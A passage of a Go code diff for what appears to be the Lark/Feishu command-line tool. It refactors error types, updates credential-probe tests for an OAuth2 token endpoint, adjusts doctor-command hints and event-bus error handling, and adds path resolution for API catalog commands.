return output.Errorf(output.ExitInternal, "internal", "language selection failed: %v", err)
|
||||
return langSelectionError(err)
|
||||
}
|
||||
opts.Lang = string(lang)
|
||||
opts.UILang = lang
|
||||
@@ -379,7 +383,7 @@ func configInitRun(opts *ConfigInitOptions) error {
|
||||
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
|
||||
}
|
||||
if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
|
||||
return wrapSaveConfigError(err)
|
||||
}
|
||||
printLangPreferenceConfirmation(opts)
|
||||
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": result.AppID, "appSecret": "****", "brand": result.Brand})
|
||||
@@ -409,7 +413,7 @@ func configInitRun(opts *ConfigInitOptions) error {
|
||||
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
|
||||
}
|
||||
if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
|
||||
return wrapSaveConfigError(err)
|
||||
}
|
||||
} else if result.Mode == "existing" && result.AppID != "" {
|
||||
// Existing app with unchanged secret — update app ID and brand only
|
||||
@@ -514,7 +518,7 @@ func configInitRun(opts *ConfigInitOptions) error {
|
||||
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
|
||||
}
|
||||
if err := saveInitConfig(opts.ProfileName, existing, f, resolvedAppId, storedSecret, parseBrand(resolvedBrand), opts.Lang); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
|
||||
return wrapSaveConfigError(err)
|
||||
}
|
||||
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
|
||||
printLangPreferenceConfirmation(opts)
|
||||
|
||||
@@ -8,7 +8,7 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/errs"
|
||||
)
|
||||
|
||||
func TestGuardAgentWorkspace_LocalAllows(t *testing.T) {
|
||||
@@ -26,12 +26,15 @@ func TestGuardAgentWorkspace_OpenClawRefuses(t *testing.T) {
|
||||
if err == nil {
|
||||
t.Fatal("expected refusal in OpenClaw context, got nil")
|
||||
}
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if !errors.As(err, &cfgErr) {
|
||||
t.Fatalf("error type = %T, want *core.ConfigError", err)
|
||||
t.Fatalf("error type = %T, want *errs.ConfigError", err)
|
||||
}
|
||||
if cfgErr.Type != "openclaw" {
|
||||
t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
|
||||
if cfgErr.Subtype != errs.SubtypeNotConfigured {
|
||||
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
|
||||
}
|
||||
if !strings.Contains(cfgErr.Message, "openclaw") {
|
||||
t.Errorf("message must name the openclaw workspace; got %q", cfgErr.Message)
|
||||
}
|
||||
if !strings.Contains(cfgErr.Hint, "config bind --help") {
|
||||
t.Errorf("hint must point to config bind --help; got %q", cfgErr.Hint)
|
||||
@@ -48,12 +51,15 @@ func TestGuardAgentWorkspace_HermesRefuses(t *testing.T) {
|
||||
if err == nil {
|
||||
t.Fatal("expected refusal in Hermes context, got nil")
|
||||
}
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if !errors.As(err, &cfgErr) {
|
||||
t.Fatalf("error type = %T, want *core.ConfigError", err)
|
||||
t.Fatalf("error type = %T, want *errs.ConfigError", err)
|
||||
}
|
||||
if cfgErr.Type != "hermes" {
|
||||
t.Errorf("type = %q, want %q", cfgErr.Type, "hermes")
|
||||
if cfgErr.Subtype != errs.SubtypeNotConfigured {
|
||||
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
|
||||
}
|
||||
if !strings.Contains(cfgErr.Message, "hermes") {
|
||||
t.Errorf("message must name the hermes workspace; got %q", cfgErr.Message)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -4,10 +4,14 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/i18n"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
type initMsg struct {
|
||||
@@ -97,3 +101,12 @@ func promptLangSelection() (i18n.Lang, error) {
|
||||
}
|
||||
return lang, nil
|
||||
}
|
||||
|
||||
// langSelectionError maps a promptLangSelection failure to its exit surface:
|
||||
// user abort exits bare with code 1; any other failure is internal.
|
||||
func langSelectionError(err error) error {
|
||||
if errors.Is(err, huh.ErrUserAborted) {
|
||||
return output.ErrBare(1)
|
||||
}
|
||||
return errs.NewInternalError(errs.SubtypeUnknown, "language selection failed: %v", err).WithCause(err)
|
||||
}
|
||||
|
||||
@@ -33,15 +33,16 @@ const probeTimeout = 3 * time.Second
|
||||
//
|
||||
// 1. A TAT request using the just-saved credentials. credential.FetchTAT
|
||||
// returns a typed errs.* error (via the shared classifyTATResponseCode)
|
||||
// only when the server deterministically rejected the credentials — a
|
||||
// non-zero TAT body code, classified as CategoryConfig / SubtypeInvalidClient
|
||||
// (10003 / 10014) or whatever codemeta maps. That typed error is propagated
|
||||
// so the root dispatcher renders the canonical envelope and `config init`
|
||||
// exits non-zero — identical to how every other token-resolving command
|
||||
// reports the same bad credentials. Ambiguous failures (transport errors,
|
||||
// HTTP non-200, JSON parse errors, timeouts) come back as raw untyped
|
||||
// errors and are swallowed (return nil), so valid configurations are never
|
||||
// disturbed by upstream noise. errs.IsTyped is the discriminator.
|
||||
// only when the unified Token Endpoint deterministically rejected the
|
||||
// credentials — an OAuth2 invalid_client / unauthorized_client classified as
|
||||
// CategoryConfig / SubtypeInvalidClient, or whatever codemeta maps. That
|
||||
// typed error is propagated so the root dispatcher renders the canonical
|
||||
// envelope and `config init` exits non-zero — identical to how every other
|
||||
// token-resolving command reports the same bad credentials. Ambiguous
|
||||
// failures (transport errors, transient 5xx/server_error, JSON parse errors,
|
||||
// timeouts) come back as raw untyped errors and are swallowed (return nil),
|
||||
// so valid configurations are never disturbed by upstream noise.
|
||||
// errs.IsTyped is the discriminator.
|
||||
//
|
||||
// 2. If TAT succeeded, a POST to the probe endpoint is fired. The outcome of
|
||||
// that call (success, server error, timeout, parse failure) is always
|
||||
|
||||
@@ -31,10 +31,10 @@ type fakeRT struct {
|
||||
|
||||
func (f *fakeRT) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
switch {
|
||||
case strings.HasSuffix(req.URL.Path, "/auth/v3/tenant_access_token/internal"):
|
||||
case strings.HasSuffix(req.URL.Path, "/oauth/v3/token"):
|
||||
f.tatCalls++
|
||||
if f.tatHandler == nil {
|
||||
return jsonResp(200, `{"code":0,"tenant_access_token":"t-ok"}`), nil
|
||||
return jsonResp(200, `{"code":0,"access_token":"t-ok","token_type":"Bearer"}`), nil
|
||||
}
|
||||
return f.tatHandler(req)
|
||||
case strings.HasSuffix(req.URL.Path, "/application/v6/larksuite_cli_app/probe"):
|
||||
@@ -84,14 +84,15 @@ func fakeFactory(t *testing.T, rt http.RoundTripper) (*cmdutil.Factory, *bytes.B
|
||||
}
|
||||
|
||||
// assertConfigRejection asserts runProbe propagated a deterministic credential
|
||||
// rejection: a *errs.ConfigError (CategoryConfig / SubtypeInvalidClient) with
|
||||
// the expected upstream code. This is the same typed error every other
|
||||
// token-resolving command returns for the same bad credentials, and nothing is
|
||||
// written to stderr (the root dispatcher renders the envelope).
|
||||
func assertConfigRejection(t *testing.T, err error, errBuf *bytes.Buffer, wantCode int) {
|
||||
// rejection: a *errs.ConfigError (CategoryConfig / SubtypeInvalidClient). This
|
||||
// is the same typed error every other token-resolving command returns for the
|
||||
// same bad credentials, and nothing is written to stderr (the root dispatcher
|
||||
// renders the envelope). The numeric code is not asserted: the unified v3 Token
|
||||
// Endpoint reports invalid_client via the OAuth2 error string, not a Lark code.
|
||||
func assertConfigRejection(t *testing.T, err error, errBuf *bytes.Buffer) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatalf("expected *errs.ConfigError (code %d), got nil", wantCode)
|
||||
t.Fatal("expected *errs.ConfigError, got nil")
|
||||
}
|
||||
var cfgErr *errs.ConfigError
|
||||
if !errors.As(err, &cfgErr) {
|
||||
@@ -103,9 +104,6 @@ func assertConfigRejection(t *testing.T, err error, errBuf *bytes.Buffer, wantCo
|
||||
if cfgErr.Subtype != errs.SubtypeInvalidClient {
|
||||
t.Errorf("Subtype = %q, want %q", cfgErr.Subtype, errs.SubtypeInvalidClient)
|
||||
}
|
||||
if cfgErr.Code != wantCode {
|
||||
t.Errorf("Code = %d, want %d", cfgErr.Code, wantCode)
|
||||
}
|
||||
if errBuf.Len() != 0 {
|
||||
t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
|
||||
}
|
||||
@@ -123,11 +121,13 @@ func assertSilent(t *testing.T, err error, errBuf *bytes.Buffer) {
|
||||
}
|
||||
}
|
||||
|
||||
// 10003 (bad / non-existent app_id) → ConfigError/InvalidClient, propagated.
|
||||
func TestRunProbe_TATCode10003_ReturnsConfigError(t *testing.T) {
|
||||
// invalid_client (bad / non-existent app_id or wrong secret) → the v3 Token
|
||||
// Endpoint returns HTTP 400 with the OAuth2 error → ConfigError/InvalidClient,
|
||||
// propagated. The probe endpoint must not be called when TAT fails.
|
||||
func TestRunProbe_TATInvalidClient_ReturnsConfigError(t *testing.T) {
|
||||
rt := &fakeRT{
|
||||
tatHandler: func(req *http.Request) (*http.Response, error) {
|
||||
return jsonResp(200, `{"code":10003,"msg":"invalid param"}`), nil
|
||||
return jsonResp(400, `{"error":"invalid_client","error_description":"The client secret is invalid.","code":20002}`), nil
|
||||
},
|
||||
}
|
||||
f, errBuf := fakeFactory(t, rt)
|
||||
@@ -137,28 +137,27 @@ func TestRunProbe_TATCode10003_ReturnsConfigError(t *testing.T) {
|
||||
if rt.probeCalls != 0 {
|
||||
t.Error("probe endpoint must not be called when TAT fails")
|
||||
}
|
||||
assertConfigRejection(t, err, errBuf, 10003)
|
||||
assertConfigRejection(t, err, errBuf)
|
||||
}
|
||||
|
||||
// 10014 (real app_id + wrong secret) → ConfigError/InvalidClient via codemeta —
|
||||
// the most common real-world rejection, propagated.
|
||||
func TestRunProbe_TATCode10014_ReturnsConfigError(t *testing.T) {
|
||||
// unauthorized_client is treated as the same credential rejection, propagated.
|
||||
func TestRunProbe_TATUnauthorizedClient_ReturnsConfigError(t *testing.T) {
|
||||
rt := &fakeRT{
|
||||
tatHandler: func(req *http.Request) (*http.Response, error) {
|
||||
return jsonResp(200, `{"code":10014,"msg":"app secret invalid"}`), nil
|
||||
return jsonResp(401, `{"error":"unauthorized_client","error_description":"client not authorized"}`), nil
|
||||
},
|
||||
}
|
||||
f, errBuf := fakeFactory(t, rt)
|
||||
assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf, 10014)
|
||||
assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
|
||||
}
|
||||
|
||||
// Any non-zero body code is a deterministic rejection and propagates (typed).
|
||||
// An unrecognized code falls back to *errs.APIError via BuildAPIError — still
|
||||
// typed, so the probe still surfaces it rather than swallowing.
|
||||
func TestRunProbe_TATUnknownBodyCode_Propagates(t *testing.T) {
|
||||
// Any other deterministic client-side OAuth error (e.g. invalid_scope) falls
|
||||
// back to *errs.APIError via BuildAPIError — still typed, so the probe surfaces
|
||||
// it rather than swallowing — but is not a credential (ConfigError) rejection.
|
||||
func TestRunProbe_TATOtherClientError_Propagates(t *testing.T) {
|
||||
rt := &fakeRT{
|
||||
tatHandler: func(req *http.Request) (*http.Response, error) {
|
||||
return jsonResp(200, `{"code":99999,"msg":"future-unknown"}`), nil
|
||||
return jsonResp(400, `{"code":20068,"error":"invalid_scope","error_description":"unauthorized scope"}`), nil
|
||||
},
|
||||
}
|
||||
f, errBuf := fakeFactory(t, rt)
|
||||
|
||||
@@ -65,8 +65,8 @@ func TestUpdateExistingProfileWithoutSecret_AppIdMismatch_EmitsValidationError(t
|
||||
|
||||
// wrapUpdateExistingProfileErr is the caller-side classifier for the error
|
||||
// returned by updateExistingProfileWithoutSecret. It must preserve typed-error
|
||||
// exit semantics (regression: typed ValidationError was being downgraded to
|
||||
// InternalError by the legacy *output.ExitError-only passthrough).
|
||||
// exit semantics: a typed ValidationError must keep ExitValidation rather than
|
||||
// being downgraded to InternalError.
|
||||
|
||||
func TestWrapUpdateExistingProfileErr_NilPassesThrough(t *testing.T) {
|
||||
if got := wrapUpdateExistingProfileErr(nil); got != nil {
|
||||
@@ -90,18 +90,6 @@ func TestWrapUpdateExistingProfileErr_TypedValidationErrorPreserved(t *testing.T
|
||||
}
|
||||
}
|
||||
|
||||
func TestWrapUpdateExistingProfileErr_LegacyExitErrorPreserved(t *testing.T) {
|
||||
in := &output.ExitError{Code: 7, Err: errors.New("legacy")}
|
||||
got := wrapUpdateExistingProfileErr(in)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(got, &exitErr) {
|
||||
t.Fatalf("expected *output.ExitError to pass through, got %T: %v", got, got)
|
||||
}
|
||||
if exitErr.Code != 7 {
|
||||
t.Errorf("Code = %d, want 7", exitErr.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWrapUpdateExistingProfileErr_UntypedErrorBecomesInternal(t *testing.T) {
|
||||
in := fmt.Errorf("disk full")
|
||||
got := wrapUpdateExistingProfileErr(in)
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
@@ -94,7 +95,7 @@ func doctorRun(opts *DoctorOptions) error {
|
||||
// underlying problem is still visible.
|
||||
msg, hint := err.Error(), ""
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if errors.As(core.NotConfiguredError(), &cfgErr) {
|
||||
msg, hint = cfgErr.Message, cfgErr.Hint
|
||||
}
|
||||
@@ -108,7 +109,7 @@ func doctorRun(opts *DoctorOptions) error {
|
||||
cfg, err := f.Config()
|
||||
if err != nil {
|
||||
hint := ""
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if errors.As(err, &cfgErr) {
|
||||
hint = cfgErr.Hint
|
||||
}
|
||||
@@ -128,7 +129,10 @@ func doctorRun(opts *DoctorOptions) error {
|
||||
if diagnostics.Bot.Available || diagnostics.User.Available {
|
||||
checks = append(checks, pass("identity_ready", "at least one identity is available"))
|
||||
} else {
|
||||
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", "run: lark-cli auth status --verify"))
|
||||
// No hint: this only summarizes the two checks above, which already carry
|
||||
// the source-appropriate remediation. A command here would be redundant,
|
||||
// or wrong (`auth status` is blocked under an external provider).
|
||||
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", ""))
|
||||
}
|
||||
|
||||
// ── 4 & 5. Endpoint reachability ──
|
||||
|
||||
@@ -4,14 +4,19 @@
|
||||
package doctor
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
func TestNewCmdDoctor_FlagParsing(t *testing.T) {
|
||||
@@ -140,14 +145,84 @@ func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
|
||||
}
|
||||
|
||||
func assertCheck(t *testing.T, checks []checkResult, name, status string) {
|
||||
t.Helper()
|
||||
if got := findCheck(t, checks, name); got.Status != status {
|
||||
t.Fatalf("%s status = %q, want %q", name, got.Status, status)
|
||||
}
|
||||
}
|
||||
|
||||
func findCheck(t *testing.T, checks []checkResult, name string) checkResult {
|
||||
t.Helper()
|
||||
for _, check := range checks {
|
||||
if check.Name == name {
|
||||
if check.Status != status {
|
||||
t.Fatalf("%s status = %q, want %q", name, check.Status, status)
|
||||
}
|
||||
return
|
||||
return check
|
||||
}
|
||||
}
|
||||
t.Fatalf("check %q not found in %#v", name, checks)
|
||||
return checkResult{}
|
||||
}
|
||||
|
||||
type fakeExtProvider struct {
|
||||
name string
|
||||
account *extcred.Account
|
||||
}
|
||||
|
||||
func (p *fakeExtProvider) Name() string { return p.name }
|
||||
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
|
||||
return p.account, nil
|
||||
}
|
||||
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Under an external credential provider with no usable identity, the
|
||||
// identity_ready hint must not point at `auth status` (blocked there); the
|
||||
// per-identity checks already carry the source-appropriate escalation.
|
||||
func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
|
||||
CurrentApp: "default",
|
||||
Apps: []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
|
||||
}); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
|
||||
// Provider serves neither identity: bot unsupported, user supported but not
|
||||
// signed in → both unavailable → identity_ready fails.
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
|
||||
cred := credential.NewCredentialProvider(
|
||||
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
|
||||
nil, nil,
|
||||
func() (*http.Client, error) { return nil, nil },
|
||||
)
|
||||
out := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
Config: func() (*core.CliConfig, error) { return cfg, nil },
|
||||
Credential: cred,
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
|
||||
}
|
||||
|
||||
if err := doctorRun(&DoctorOptions{Factory: f, Ctx: context.Background(), Offline: true}); err == nil {
|
||||
t.Fatalf("doctorRun() = nil, want failure when no identity is available")
|
||||
}
|
||||
var got struct {
|
||||
Checks []checkResult `json:"checks"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("json.Unmarshal() error = %v\n%s", err, out.String())
|
||||
}
|
||||
|
||||
ready := findCheck(t, got.Checks, "identity_ready")
|
||||
if ready.Status != "fail" {
|
||||
t.Fatalf("identity_ready status = %q, want fail", ready.Status)
|
||||
}
|
||||
// The summary defers to the per-identity checks; it carries no hint of its
|
||||
// own (a command here would be wrong under an external provider).
|
||||
if ready.Hint != "" {
|
||||
t.Fatalf("identity_ready should carry no hint, got %q", ready.Hint)
|
||||
}
|
||||
user := findCheck(t, got.Checks, "user_identity")
|
||||
if !strings.Contains(user.Hint, "external") || strings.Contains(user.Hint, "auth login") {
|
||||
t.Fatalf("user_identity hint not external-appropriate: %q", user.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,10 +11,10 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/apicatalog"
|
||||
internalauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/registry"
|
||||
"github.com/larksuite/cli/shortcuts"
|
||||
shortcutcommon "github.com/larksuite/cli/shortcuts/common"
|
||||
@@ -48,32 +48,6 @@ func applyNeedAuthorizationHint(f *cmdutil.Factory, err error) {
|
||||
authErr.Hint += "\n" + scopeHint
|
||||
}
|
||||
|
||||
// enrichMissingScopeError appends a "current command requires scope(s): X"
|
||||
// hint to a legacy *output.ExitError when the underlying error carries the
|
||||
// need_user_authorization marker AND the current command declares scopes
|
||||
// locally.
|
||||
//
|
||||
// Deprecated: enrichment for the legacy envelope; the typed path is
|
||||
// applyNeedAuthorizationHint above.
|
||||
func enrichMissingScopeError(f *cmdutil.Factory, exitErr *output.ExitError) {
|
||||
if exitErr == nil || exitErr.Detail == nil {
|
||||
return
|
||||
}
|
||||
if !internalauth.IsNeedUserAuthorizationError(exitErr) {
|
||||
return
|
||||
}
|
||||
scopes := resolveDeclaredScopesForCurrentCommand(f)
|
||||
if len(scopes) == 0 {
|
||||
return
|
||||
}
|
||||
scopeHint := fmt.Sprintf("current command requires scope(s): %s", strings.Join(scopes, ", "))
|
||||
if exitErr.Detail.Hint == "" {
|
||||
exitErr.Detail.Hint = scopeHint
|
||||
return
|
||||
}
|
||||
exitErr.Detail.Hint += "\n" + scopeHint
|
||||
}
|
||||
|
||||
// resolveDeclaredScopesForCurrentCommand returns the scopes declared by the
|
||||
// current command for the resolved identity, checking shortcuts first and then
|
||||
// service methods from local registry metadata.
|
||||
@@ -118,38 +92,37 @@ func resolveDeclaredShortcutScopes(cmd *cobra.Command, identity string) []string
|
||||
}
|
||||
|
||||
// resolveDeclaredServiceMethodScopes returns the scopes declared by a
|
||||
// service/resource/method command from the embedded from_meta registry.
|
||||
// service/resource/method command. It reconstructs the catalog path from the
|
||||
// command ancestry and resolves it through the same navigation Module the
|
||||
// command tree is built from (apicatalog), so it stays correct for nested
|
||||
// resources instead of hard-coding a root->service->resource->method depth.
|
||||
// Non-method commands (services, resources, shortcuts) resolve to a non-method
|
||||
// target and yield no scopes.
|
||||
func resolveDeclaredServiceMethodScopes(cmd *cobra.Command, identity string) []string {
|
||||
// Service-method scope lookup only applies to commands mounted as
|
||||
// root -> service -> resource -> method. Non-resource/method commands
|
||||
// intentionally return no scopes here so auth-hint enrichment does not
|
||||
// change runtime semantics for other command shapes.
|
||||
if cmd == nil || cmd.Parent() == nil || cmd.Parent().Parent() == nil || cmd.Parent().Parent().Parent() == nil {
|
||||
if cmd == nil || strings.HasPrefix(cmd.Name(), "+") {
|
||||
return nil
|
||||
}
|
||||
if strings.HasPrefix(cmd.Name(), "+") {
|
||||
path := commandCatalogPath(cmd)
|
||||
if len(path) == 0 {
|
||||
return nil
|
||||
}
|
||||
target, err := registry.RuntimeCatalog().Resolve(path)
|
||||
if err != nil || target.Kind != apicatalog.TargetMethod {
|
||||
return nil
|
||||
}
|
||||
return registry.DeclaredScopesForMethod(target.Method.Method, identity)
|
||||
}
|
||||
|
||||
service := cmd.Parent().Parent().Name()
|
||||
resource := cmd.Parent().Name()
|
||||
method := cmd.Name()
|
||||
|
||||
spec := registry.LoadFromMeta(service)
|
||||
if spec == nil {
|
||||
return nil
|
||||
// commandCatalogPath reconstructs the catalog path [service, resource..., method]
|
||||
// from a command's ancestry, excluding the root command. It is the inverse of
|
||||
// the service command tree's construction, so any depth (flat or nested)
|
||||
// round-trips through apicatalog.Resolve.
|
||||
func commandCatalogPath(cmd *cobra.Command) []string {
|
||||
var path []string
|
||||
for c := cmd; c != nil && c.Parent() != nil; c = c.Parent() {
|
||||
path = append([]string{c.Name()}, path...)
|
||||
}
|
||||
resources, _ := spec["resources"].(map[string]interface{})
|
||||
resMap, _ := resources[resource].(map[string]interface{})
|
||||
if resMap == nil {
|
||||
return nil
|
||||
}
|
||||
methods, _ := resMap["methods"].(map[string]interface{})
|
||||
methodMap, _ := methods[method].(map[string]interface{})
|
||||
if methodMap == nil {
|
||||
return nil
|
||||
}
|
||||
return registry.DeclaredScopesForMethod(methodMap, identity)
|
||||
return path
|
||||
}
|
||||
|
||||
// shortcutSupportsIdentity reports whether a shortcut supports the requested
|
||||
|
||||
@@ -8,7 +8,7 @@ import (
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// authURLPattern matches the grant-scope URL embedded in 99991672 errors; widen when adding brands in consoleScopeGrantURL.
|
||||
// authURLPattern matches the grant-scope URL embedded in 99991672 errors; widen the host alternation when adding brands.
|
||||
var authURLPattern = regexp.MustCompile(`https?://open\.(?:feishu\.cn|larksuite\.com)/app/[^/\s"']+/auth\?q=[^\s"'<>]+`)
|
||||
|
||||
// describeAppMetaErr reduces a FetchCurrentPublished error to a one-line stderr summary.
|
||||
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
@@ -38,7 +39,8 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
|
||||
|
||||
logger, err := bus.SetupBusLogger(eventsDir)
|
||||
if err != nil {
|
||||
return err
|
||||
return errs.NewInternalError(errs.SubtypeFileIO,
|
||||
"set up bus logger: %s", err).WithCause(err)
|
||||
}
|
||||
|
||||
tr := transport.New()
|
||||
@@ -58,7 +60,14 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
|
||||
}
|
||||
}()
|
||||
|
||||
return b.Run(ctx)
|
||||
if err := b.Run(ctx); err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return err
|
||||
}
|
||||
return errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"event bus daemon exited: %s", err).WithCause(err)
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
45
cmd/event/bus_test.go
Normal file
45
cmd/event/bus_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package event
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// The hidden `event _bus` daemon command must exit with a typed file_io error
|
||||
// when its log directory cannot be created (the error is only visible in the
|
||||
// forked process's captured stderr / bus.log).
|
||||
func TestBusCommandLoggerSetupFailureIsTypedFileIO(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
|
||||
// Block the events/ root with a regular file so MkdirAll fails.
|
||||
if err := os.WriteFile(filepath.Join(dir, "events"), []byte("x"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "cli_bus_test", AppSecret: "secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
cmd := NewCmdBus(f)
|
||||
cmd.SetArgs([]string{})
|
||||
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("expected logger setup error")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryInternal || p.Subtype != errs.SubtypeFileIO {
|
||||
t.Errorf("problem = %s/%s, want %s/%s", p.Category, p.Subtype,
|
||||
errs.CategoryInternal, errs.SubtypeFileIO)
|
||||
}
|
||||
}
|
||||
@@ -4,21 +4,117 @@
|
||||
package event
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
// consoleScopeGrantURL builds the developer-console "apply & grant scopes" deep link; scopes are comma-joined without URL encoding.
|
||||
func consoleScopeGrantURL(brand core.LarkBrand, appID string, scopes []string) string {
|
||||
host := core.ResolveEndpoints(brand).Open
|
||||
return fmt.Sprintf("%s/app/%s/auth?q=%s&op_from=openapi&token_type=tenant",
|
||||
host, appID, strings.Join(scopes, ","))
|
||||
// Landing-page contract for the scan-to-enable deep link, verified against the
|
||||
// open platform: {open-host}/page/launcher?clientID=<appID>&addons=<encoded>.
|
||||
// Note the param is camelCase "clientID" (not snake_case), and the value is the
|
||||
// consuming app's own ID. Centralized so it can be corrected in one place.
|
||||
const (
|
||||
addonsLandingPath = "/page/launcher"
|
||||
addonsClientIDParam = "clientID"
|
||||
)
|
||||
|
||||
// ManifestAddons mirrors the 5 public manifest sections the launcher page accepts.
|
||||
// Encoded form: JSON -> gzip -> base64url(no padding).
|
||||
type ManifestAddons struct {
|
||||
Scopes *AddonsScopes `json:"scopes,omitempty"`
|
||||
Events *AddonsEvents `json:"events,omitempty"`
|
||||
Callbacks *AddonsCallbacks `json:"callbacks,omitempty"`
|
||||
}
|
||||
|
||||
